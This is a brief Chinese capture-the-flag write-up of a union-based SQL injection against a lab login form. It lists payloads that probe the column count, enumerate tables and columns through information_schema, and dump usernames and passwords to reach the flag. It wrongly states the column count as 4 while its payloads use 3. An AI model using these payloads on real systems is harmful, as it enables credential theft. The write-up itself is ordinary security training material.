启动环境发现是一个登录窗口,尝试提交数据,发现密码字段存在注入,并且是可以显示字段的SQL注入点。
需要注意的是输入的内容会自动进行url编码才能正常执行,不能直接再burp里改。
输入:' order by 1#
返回:NO,Wrong username password!!!
逐步增加到4
输入:' order by 4#
返回:Unknown column '4' in 'order clause'
判断字段数为4,使用联合注入,获得数据库geek。
' union select 1,2,3#
' union select 1,2,database()#
接下来利用group_concat函数查询对应数据表为l0ve1ysq1
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #
继续利用该函数查询数据表中的字段为id,username,password
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
最后查询字段里的内容,查询出来发现flag再password字段里,所以直接查password字段也行。
' union select 1,2,group_concat(id,0x7e,username,0x7e,password) from geek.l0ve1ysq1#